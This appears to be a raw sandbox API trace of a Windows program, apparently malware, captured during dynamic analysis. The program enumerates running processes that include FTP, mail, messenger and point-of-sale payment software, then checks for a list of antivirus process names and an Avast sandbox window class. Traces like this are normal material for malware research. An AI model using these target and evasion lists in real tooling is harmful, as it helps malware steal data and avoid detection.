out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0264.533] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x6cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0264.558] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0264.575] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xdd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0264.589] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0264.637] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xc20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0264.665] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0264.684] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xabc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0264.699] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0264.714] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xac0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0264.730] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0264.746] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xdcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0264.762] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x680, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0264.777] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0264.793] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0264.808] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0264.824] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0264.840] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0264.856] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0264.871] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xc94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0264.886] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0264.902] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0264.918] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xe90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0264.933] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xec0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0264.949] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xe88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0264.985] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xe8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0265.012] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xf00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0265.285] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xf28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0265.308] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xe3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0265.324] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xed8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0265.368] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xef8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0265.387] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0265.402] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0265.444] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xee0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0265.465] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x74c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0265.480] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0265.496] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0265.511] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0265.527] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0267.268] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xc44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0267.344] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xcd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0267.409] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x38c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0267.590] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0267.637] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xeb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="nv-ambien-sharp.exe")) returned 1 [0267.660] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xf20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="lancaster.exe")) returned 1 [0267.746] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xdb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="eos-says.exe")) returned 1 [0267.772] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xf80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0267.808] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1054, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.857] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0267.873] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0267.991] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0268.015] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0268.045] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x119c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0268.084] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1328, pcPriClassBase=8, dwFlags=0x0, szExeFile="Loterios.exe")) returned 1 [0268.116] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SppExtComObj.Exe")) returned 1 [0268.319] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xccc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x194, pcPriClassBase=8, dwFlags=0x0, szExeFile="slui.exe")) returned 1 [0268.366] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xe40, pcPriClassBase=8, dwFlags=0x0, szExeFile="xafpqko.exe")) returned 1 [0268.449] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xe40, pcPriClassBase=8, dwFlags=0x0, szExeFile="xafpqko.exe")) returned 0 [0268.450] CloseHandle (hObject=0x2a8) returned 1 [0268.451] lstrlenA (lpString="ccSvcHst.exe") returned 12 [0268.451] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f728 | out: hHeap=0x2190000) returned 1 [0268.451] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f718 | out: hHeap=0x2190000) returned 1 [0268.451] lstrlenA (lpString="avgcsrvx.exe") returned 12 [0268.451] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f770 | out: hHeap=0x2190000) returned 1 [0268.451] lstrlenA (lpString="avgsvcx.exe") returned 11 [0268.451] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f788 | out: hHeap=0x2190000) returned 1 [0268.451] lstrlenA (lpString="avgcsrva.exe") returned 12 [0268.451] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f7a0 | out: hHeap=0x2190000) returned 1 [0268.451] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f700 | out: hHeap=0x2190000) returned 1 [0268.451] lstrlenA (lpString="MsMpEng.exe") returned 11 [0268.451] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f7b8 | out: hHeap=0x2190000) returned 1 [0268.451] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f758 | out: hHeap=0x2190000) returned 1 [0268.451] lstrlenA (lpString="mcshield.exe") returned 12 [0268.452] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f7e0 | out: hHeap=0x2190000) returned 1 [0268.452] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f7d0 | out: hHeap=0x2190000) returned 1 [0268.452] lstrlenA (lpString="avp.exe") returned 7 [0268.452] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f818 | out: hHeap=0x2190000) returned 1 [0268.452] lstrlenA (lpString="kavtray.exe") returned 11 [0268.452] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f828 | out: hHeap=0x2190000) returned 1 [0268.452] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f740 | out: hHeap=0x2190000) returned 1 [0268.452] lstrlenA (lpString="egui.exe") returned 8 [0268.452] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f850 | out: hHeap=0x2190000) returned 1 [0268.452] lstrlenA (lpString="ekrn.exe") returned 8 [0268.452] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f868 | out: hHeap=0x2190000) returned 1 [0268.452] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f840 | out: hHeap=0x2190000) returned 1 [0268.452] lstrlenA (lpString="bdagent.exe") returned 11 [0268.452] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f8b0 | out: hHeap=0x2190000) returned 1 [0268.452] lstrlenA (lpString="vsserv.exe") returned 10 [0268.452] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f8c8 | out: hHeap=0x2190000) returned 1 [0268.452] lstrlenA (lpString="vsservppl.exe") returned 13 [0268.452] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f8e0 | out: hHeap=0x2190000) returned 1 [0268.453] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f7f8 | out: hHeap=0x2190000) returned 1 [0268.453] lstrlenA (lpString="AvastSvc.exe") returned 12 [0268.453] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f8f8 | out: hHeap=0x2190000) returned 1 [0268.453] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f898 | out: hHeap=0x2190000) returned 1 [0268.453] lstrlenA (lpString="coreServiceShell.exe") returned 20 [0268.453] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f948 | out: hHeap=0x2190000) returned 1 [0268.453] lstrlenA (lpString="PccNTMon.exe") returned 12 [0268.453] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f968 | out: hHeap=0x2190000) returned 1 [0268.453] lstrlenA (lpString="NTRTScan.exe") returned 12 [0268.453] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f980 | out: hHeap=0x2190000) returned 1 [0268.453] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f880 | out: hHeap=0x2190000) returned 1 [0268.453] lstrlenA (lpString="SAVAdminService.exe") returned 19 [0268.453] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f9a8 | out: hHeap=0x2190000) returned 1 [0268.453] lstrlenA (lpString="SavService.exe") returned 14 [0268.453] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220fa80 | out: hHeap=0x2190000) returned 1 [0268.453] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f998 | out: hHeap=0x2190000) returned 1 [0268.453] lstrlenA (lpString="fshoster32.exe") returned 14 [0268.453] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220fba0 | out: hHeap=0x2190000) returned 1 [0268.453] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220ffd0 | out: hHeap=0x2190000) returned 1 [0268.454] lstrlenA (lpString="WRSA.exe") returned 8 [0268.454] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220fa68 | out: hHeap=0x2190000) returned 1 [0268.454] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f910 | out: hHeap=0x2190000) returned 1 [0268.454] lstrlenA (lpString="vkise.exe") returned 9 [0268.454] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220fb88 | out: hHeap=0x2190000) returned 1 [0268.454] lstrlenA (lpString="isesrv.exe") returned 10 [0268.454] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220fa98 | out: hHeap=0x2190000) returned 1 [0268.454] lstrlenA (lpString="cmdagent.exe") returned 12 [0268.454] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220fac8 | out: hHeap=0x2190000) returned 1 [0268.454] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220fab0 | out: hHeap=0x2190000) returned 1 [0268.454] lstrlenA (lpString="ByteFence.exe") returned 13 [0268.454] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220fb28 | out: hHeap=0x2190000) returned 1 [0268.454] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f920 | out: hHeap=0x2190000) returned 1 [0268.454] lstrlenA (lpString="MBAMService.exe") returned 15 [0268.454] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220fb40 | out: hHeap=0x2190000) returned 1 [0268.454] lstrlenA (lpString="mbamgui.exe") returned 11 [0268.454] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f9f0 | out: hHeap=0x2190000) returned 1 [0268.454] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f930 | out: hHeap=0x2190000) returned 1 [0268.455] lstrlenA (lpString="fmon.exe") returned 8 [0268.455] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220fa08 | out: hHeap=0x2190000) returned 1 [0268.455] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x2196b18 | out: hHeap=0x2190000) returned 1 [0268.455] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x13) returned 0x220f700 [0268.455] lstrlenA (lpString="snxhk_border_mywnd") returned 18 [0268.455] EnumWindows (lpEnumFunc=0x406934, lParam=0x19ff34) returned 1 [0268.456] GetClassNameA (in: hWnd=0x1016a, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="ForegroundStaging") returned 17 [0268.457] GetClassNameA (in: hWnd=0x10136, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="ForegroundStaging") returned 17 [0268.457] GetClassNameA (in: hWnd=0x100dc, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="tooltips_class32") returned 16 [0268.457] GetClassNameA (in: hWnd=0x100d8, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="tooltips_class32") returned 16 [0268.457] GetClassNameA (in: hWnd=0x100d2, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="tooltips_class32") returned 16 [0268.457] GetClassNameA (in: hWnd=0x100ce, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="tooltips_class32") returned 16 [0268.457] GetClassNameA (in: hWnd=0x100bc, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="tooltips_class32") returned 16 [0268.457] GetClassNameA (in: hWnd=0x100b4, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="tooltips_class32") returned 16 [0268.458] 